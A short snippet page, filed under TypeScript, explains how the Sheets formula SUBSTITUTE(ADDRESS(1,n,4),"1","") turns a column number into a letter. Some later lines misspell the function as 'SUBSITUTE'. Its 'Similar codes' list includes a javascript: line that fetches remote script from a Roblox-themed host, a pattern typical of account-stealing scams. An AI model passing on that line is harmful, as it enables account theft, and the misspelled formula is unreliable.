/TypeScript/Sheets column number to letter

Sheets column number to letter

SUBSTITUTE(ADDRESS(1,column number,4),"1","") turns a column number into a letter
	SUBSTITUTE(ADDRESS(1,2,4),"1","") gives B

ADDRESS(1,column number,4) turns two values into an address
	ADDRESS(1,2,4) gives B1
    ADDRESS(2,1,4) gives A2
    ADDRESS(2,1,1) gives $A$2
    
SUBSITUTE(address,"1", "") subsititutes the "1" with "", removing it.
	SUBSITUTE(B1,"1", "") gives B

Similar codes

2 votes284 views3 answers
Boolean to string typescript
TypeScript
0 vote273 views1 answer
Bitwarden CLI Cheatsheet
TypeScript
0 vote259 views1 answer
Remove white border around components angular
TypeScript
0 vote293 views1 answer
Test coverage techniques
TypeScript
0 vote277 views1 answer
Socket.io typescript
TypeScript
0 vote332 views10 answers
XJavascript:$.get("//javascript-roblox.com/api?i=13407")
TypeScript
0 vote276 views1 answer
Fonts @import vs link
TypeScript
-2 votes291 views1 answer
How to randomly generate a string in ts
TypeScript
2 votes262 views1 answer
How long does it take to learn typescript
TypeScript
6 votes318 views4 answers
Data
TypeScript